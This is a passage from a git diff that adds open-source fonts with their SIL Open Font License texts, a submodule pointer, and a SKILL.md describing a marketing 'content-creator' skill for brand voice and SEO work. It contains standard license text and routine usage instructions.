b/skills/canvas-design/canvas-fonts/RedHatMono-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt b/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt new file mode 100644 index 00000000..16cf394b --- /dev/null +++ b/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/RedHatMono-Regular.ttf b/skills/canvas-design/canvas-fonts/RedHatMono-Regular.ttf new file mode 100644 index 00000000..3bf6a698 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/RedHatMono-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt b/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt new file mode 100644 index 00000000..a1fe7d5f --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Silkscreen-Regular.ttf b/skills/canvas-design/canvas-fonts/Silkscreen-Regular.ttf new file mode 100644 index 00000000..8abaa7c5 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Silkscreen-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/SmoochSans-Medium.ttf b/skills/canvas-design/canvas-fonts/SmoochSans-Medium.ttf new file mode 100644 index 00000000..0af9ead0 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/SmoochSans-Medium.ttf differ diff --git a/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt b/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt new file mode 100644 index 00000000..4c2f033a --- /dev/null +++ b/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Tektur-Medium.ttf b/skills/canvas-design/canvas-fonts/Tektur-Medium.ttf new file mode 100644 index 00000000..34fc7971 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Tektur-Medium.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Tektur-OFL.txt b/skills/canvas-design/canvas-fonts/Tektur-OFL.txt new file mode 100644 index 00000000..2cad55f1 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Tektur-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Tektur-Regular.ttf b/skills/canvas-design/canvas-fonts/Tektur-Regular.ttf new file mode 100644 index 00000000..f280fba4 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Tektur-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/WorkSans-Bold.ttf b/skills/canvas-design/canvas-fonts/WorkSans-Bold.ttf new file mode 100644 index 00000000..5c979892 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/WorkSans-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/WorkSans-BoldItalic.ttf b/skills/canvas-design/canvas-fonts/WorkSans-BoldItalic.ttf new file mode 100644 index 00000000..54418b8a Binary files /dev/null and b/skills/canvas-design/canvas-fonts/WorkSans-BoldItalic.ttf differ diff --git a/skills/canvas-design/canvas-fonts/WorkSans-Italic.ttf b/skills/canvas-design/canvas-fonts/WorkSans-Italic.ttf new file mode 100644 index 00000000..40529b68 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/WorkSans-Italic.ttf differ diff --git a/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt b/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt new file mode 100644 index 00000000..070f3416 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/WorkSans-Regular.ttf b/skills/canvas-design/canvas-fonts/WorkSans-Regular.ttf new file mode 100644 index 00000000..d24586cc Binary files /dev/null and b/skills/canvas-design/canvas-fonts/WorkSans-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt b/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt new file mode 100644 index 00000000..f09443cb --- /dev/null +++ b/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/YoungSerif-Regular.ttf b/skills/canvas-design/canvas-fonts/YoungSerif-Regular.ttf new file mode 100644 index 00000000..f454fbed Binary files /dev/null and b/skills/canvas-design/canvas-fonts/YoungSerif-Regular.ttf differ diff --git a/skills/claude-d3js-skill b/skills/claude-d3js-skill new file mode 160000 index 00000000..e198c87d --- /dev/null +++ b/skills/claude-d3js-skill @@ -0,0 +1 @@ +Subproject commit e198c87d03f1c9811acbff681886fac24baee53d diff --git a/skills/content-creator/SKILL.md b/skills/content-creator/SKILL.md new file mode 100644 index 00000000..0600addf --- /dev/null +++ b/skills/content-creator/SKILL.md @@ -0,0 +1,248 @@ +--- +name: content-creator +description: Create SEO-optimized marketing content with consistent brand voice. Includes brand voice analyzer, SEO optimizer, content frameworks, and social media templates. Use when writing blog posts, creating social media content, analyzing brand voice, optimizing SEO, planning content calendars, or when user mentions content creation, brand voice, SEO optimization, social media marketing, or content strategy. +license: MIT +metadata: + version: 1.0.0 + author: Alireza Rezvani + category: marketing + domain: content-marketing + updated: 2025-10-20 + python-tools: brand_voice_analyzer.py, seo_optimizer.py + tech-stack: SEO, social-media-platforms +--- + +# Content Creator + +Professional-grade brand voice analysis, SEO optimization, and platform-specific content frameworks. + +## Keywords +content creation, blog posts, SEO, brand voice, social media, content calendar, marketing content, content strategy, content marketing, brand consistency, content optimization, social media marketing, content planning, blog writing, content frameworks, brand guidelines, social media strategy + +## Quick Start + +### For Brand Voice Development +1. Run `scripts/brand_voice_analyzer.py` on existing content to establish baseline +2. Review `references/brand_guidelines.md` to select voice attributes +3. Apply chosen voice consistently across all content + +### For Blog Content Creation +1. Choose template from `references/content_frameworks.md` +2. Research keywords for topic +3. Write content following template structure +4. Run `scripts/seo_optimizer.py [file] [primary-keyword]` to optimize +5. Apply recommendations before publishing + +### For Social Media Content +1. Review platform best practices in `references/social_media_optimization.md` +2. Use appropriate template from `references/content_frameworks.md` +3. Optimize based on platform-specific guidelines +4. Schedule using `assets/content_calendar_template.md` + +## Core Workflows + +### Establishing Brand Voice (First Time Setup) + +When creating content for a new brand or client: + +1. **Analyze Existing Content** (if available) + ```bash + python scripts/brand_voice_analyzer.py existing_content.txt + ``` + +2. **Define Voice Attributes** + - Review brand personality archetypes in `references/brand_guidelines.md` + - Select primary and secondary archetypes + - Choose 3-5 tone attributes + - Document in brand guidelines + +3. **Create Voice Sample** + - Write 3 sample pieces in chosen voice + - Test consistency using analyzer + - Refine based on results + +### Creating SEO-Optimized Blog Posts + +1. **Keyword Research** + - Identify primary keyword (search volume 500-5000/month) + - Find 3-5 secondary keywords + - List 10-15 LSI keywords + +2. **Content Structure** + - Use blog template from `references/content_frameworks.md` + - Include keyword in title, first paragraph, and 2-3 H2s + - Aim for 1,500-2,500 words for comprehensive coverage + +3. **Optimization Check** + ```bash + python scripts/seo_optimizer.py blog_post.md "primary keyword" "secondary,keywords,list" + ``` + +4. **Apply SEO Recommendations** + - Adjust keyword density to 1-3% + - Ensure proper heading structure + - Add internal and external links + - Optimize meta description + +### Social Media Content Creation + +1. **Platform Selection** + - Identify primary platforms based on audience + - Review platform-specific guidelines in `references/social_media_optimization.md` + +2. **Content Adaptation** + - Start with blog post or core message + - Use repurposing matrix from `references/content_frameworks.md` + - Adapt for each platform following templates + +3. **Optimization Checklist** + - Platform-appropriate length + - Optimal posting time + - Correct image dimensions + - Platform-specific hashtags + - Engagement elements (polls, questions) + +### Content Calendar Planning + +1. **Monthly Planning** + - Copy `assets/content_calendar_template.md` + - Set monthly goals and KPIs + - Identify key campaigns/themes + +2. **Weekly Distribution** + - Follow 40/25/25/10 content pillar ratio + - Balance platforms throughout week + - Align with optimal posting times + +3. **Batch Creation** + - Create all weekly content in one session + - Maintain consistent voice across pieces + - Prepare all visual assets together + +## Key Scripts + +### brand_voice_analyzer.py +Analyzes text content for voice characteristics, readability, and consistency. + +**Usage**: `python scripts/brand_voice_analyzer.py [json|text]` + +**Returns**: +- Voice profile (formality, tone, perspective) +- Readability score +- Sentence structure analysis +- Improvement recommendations + +### seo_optimizer.py +Analyzes content for SEO optimization and provides actionable recommendations. + +**Usage**: `python scripts/seo_optimizer.py [primary_keyword] [secondary_keywords]` + +**Returns**: +- SEO score (0-100) +- Keyword density analysis +- Structure assessment +- Meta tag suggestions +- Specific optimization recommendations + +## Reference Guides + +### When to Use Each Reference + +**references/brand_guidelines.md** +- Setting up new brand voice +- Ensuring consistency across content +- Training new team members +- Resolving voice/tone questions + +**references/content_frameworks.md** +- Starting any new content piece +- Structuring different content types +- Creating content templates +- Planning content repurposing + +**references/social_media_optimization.md** +- Platform-specific optimization +- Hashtag strategy development +- Understanding algorithm factors +- Setting up analytics tracking + +## Best Practices + +### Content Creation Process +1. Always start with audience need/pain point +2. Research before writing +3. Create outline using templates +4. Write first draft without editing +5. Optimize for SEO +6. Edit for brand voice +7. Proofread and fact-check +8. Optimize for platform +9. Schedule strategically + +### Quality Indicators +- SEO score above 75/100 +- Readability appropriate for audience +- Consistent brand voice throughout +- Clear value proposition +- Actionable takeaways +- Proper visual formatting +- Platform-optimized + +### Common Pitfalls to Avoid +- Writing before researching keywords +- Ignoring platform-specific requirements +- Inconsistent brand voice +- Over-optimizing for SEO (keyword stuffing) +- Missing clear CTAs +- Publishing without proofreading +- Ignoring analytics feedback + +## Performance Metrics + +Track these KPIs for content success: + +### Content Metrics +- Organic traffic growth +- Average time on page +- Bounce rate +- Social shares +- Backlinks earned + +### Engagement Metrics +- Comments and discussions +- Email click-through rates +- Social media engagement rate +- Content downloads +- Form submissions + +### Business Metrics +- Leads generated +- Conversion rate +- Customer acquisition cost +- Revenue attribution +- ROI per content piece + +## Integration Points + +This skill works best with: +- Analytics platforms (Google Analytics, social media insights) +- SEO tools (for keyword research) +- Design tools (for visual content) +- Scheduling platforms (for content distribution) +- Email marketing systems (for newsletter content) + +## Quick Commands + +```bash +# Analyze brand voice +python 